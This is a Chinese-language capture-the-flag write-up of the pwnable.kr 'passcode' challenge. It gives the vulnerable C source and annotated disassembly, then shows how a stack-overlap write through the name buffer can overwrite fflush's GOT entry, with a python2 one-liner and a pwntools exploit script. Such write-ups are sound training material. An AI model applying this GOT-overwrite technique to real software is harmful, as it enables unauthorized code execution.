这道题目,从描述来看说是写了一个密码登录系统,编译时有warning无error,题目信息如下:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811101230.png)
还是通过ssh链接查看题目内容,ssh passcode@pwnable.kr -p2222 (pw:guest),题目里的东西还是老几样,重点关注文件权限:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811104304.png)
然后查看passcode.c源码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <stdio.h> #include <stdlib.h>
void login(){ int passcode1; int passcode2;
printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin);
printf("enter passcode2 : "); scanf("%d", passcode2);
printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } }
void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); }
int main(){ printf("Toddler's Secure Login System 1.0 beta.\n");
welcome(); login();
printf("Now I can safely trust you that you have credential :)\n"); return 0; }
|
分析:
- 从能成功flag处逆着看,首先要满足两个条件passcode1和psscode2的值为两个给定的值338150(0x528e6)和13371337(0xcc07c9)
- passcode1和passcode2通过scanf()输入,但是这里程序写错,未使用&来取变量地址,所以会把这两个变量的值直接作为地址来存储输入的内容,两个变量初始化时未赋值,所以值是随机的
- 要想利用,那么就要想办法覆盖passcode1和passcode2的值,来控制scanf()对任意地址写入数据。
解法思路:
welcome()和login()是两个连续调用的函数,所以对于栈空间的利用是会有部分重叠的,name限定了100字节的大小,可以考虑是否可以在这100个字节内修改道passcode1和passcode2的初始值,使其变得不随机。
这里先把passcode通过pwntools下载到本地进行调试(passcode.c和passcode有读取权限,而flag没有,所以想直接下载flag到本地是不可以的),利用到的代码如下:
1 2 3 4
| from pwn import * if __name__=="__main__": shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest') shell.download_file('passcode')
|
下载后进行调试,已经分析过了,所以这里直接查看welcode和login反编译,查看到name和passcode1、passcode2的位置来计算偏移即可:
welcode():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| Dump of assembler code for function welcome: 0x08048609 <+0>: push ebp 0x0804860a <+1>: mov ebp,esp 0x0804860c <+3>: sub esp,0x88 0x08048612 <+9>: mov eax,gs:0x14 0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax 0x0804861b <+18>: xor eax,eax 0x0804861d <+20>: mov eax,0x80487cb 0x08048622 <+25>: mov DWORD PTR [esp],eax 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov eax,0x80487dd 0x0804862f <+38>: lea edx,[ebp-0x70] 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 0x08048636 <+45>: mov DWORD PTR [esp],eax 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov eax,0x80487e3 0x08048643 <+58>: lea edx,[ebp-0x70] 0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx 0x0804864a <+65>: mov DWORD PTR [esp],eax 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc] 0x08048655 <+76>: xor eax,DWORD PTR gs:0x14 0x0804865c <+83>: je 0x8048663 <welcome+90> 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret End of assembler dump.
|
login():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| Dump of assembler code for function login: 0x08048564 <+0>: push ebp 0x08048565 <+1>: mov ebp,esp 0x08048567 <+3>: sub esp,0x28 0x0804856a <+6>: mov eax,0x8048770 0x0804856f <+11>: mov DWORD PTR [esp],eax 0x08048572 <+14>: call 0x8048420 <printf@plt> 0x08048577 <+19>: mov eax,0x8048783 0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] 0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx 0x08048583 <+31>: mov DWORD PTR [esp],eax 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov eax,ds:0x804a02c 0x08048590 <+44>: mov DWORD PTR [esp],eax 0x08048593 <+47>: call 0x8048430 <fflush@plt> 0x08048598 <+52>: mov eax,0x8048786 0x0804859d <+57>: mov DWORD PTR [esp],eax 0x080485a0 <+60>: call 0x8048420 <printf@plt> 0x080485a5 <+65>: mov eax,0x8048783 0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc] 0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx 0x080485b1 <+77>: mov DWORD PTR [esp],eax 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> 0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799 0x080485c0 <+92>: call 0x8048450 <puts@plt> 0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 <puts@plt> 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd 0x080485f8 <+148>: call 0x8048450 <puts@plt> 0x080485fd <+153>: mov DWORD PTR [esp],0x0 0x08048604 <+160>: call 0x8048480 <exit@plt> End of assembler dump.
|
从反编译的代码中,可以看到name和passcode1相对于ebp的偏移分别为ebp-0x70、ebp-0x10。因为栈空间是平衡的,所以进入welcome()和login()后,ebp的位置在程序栈空间中都是一个地址。那么很容易我们可以在赋值name时先填充0x60的数据比如’A’,然后填充一个想要去赋值的四字节地址,就可以达到对任意地址的写入了。
接着分析,这种情况下就考虑直接去GOT中替换程序中用到的某个函数比如fflush(),即把passcode1替换为fflush()的地址,然后在scanf(“%d”,passcode1)时输入printf(“Login OK!\n”)所在地址,然后call fflush()时就可以直接跳过验证流程cat flag。
查看一下passcode开启的保护,并未开启NX,那就可以直接查地址使用即可,不用再leaklibc了:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811184424.png)
oledump找到fflush()地址:
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811185545.png)
构造exp,两种方式利用:
1 2
| python2 -c "print 'A'*0x60+'\x04\xa0\x04\x08'+str(0x080485d7)" | ./passcode
|
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811185732.png)
1 2 3 4 5 6 7 8 9
| from pwn import * if __name__=="__main__": shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest') fflushAddr = 0x0804a004 loginAddr = 0x080485d7 p = shell.process('passcode') payload='A'*0x60 + p32(fflushAddr)+str(loginAddr) p.send(payload) p.interactive()
|
![](https://cdn.jsdelivr.net/gh/hskull00/Images/pwn/pwnable20210811185827.png)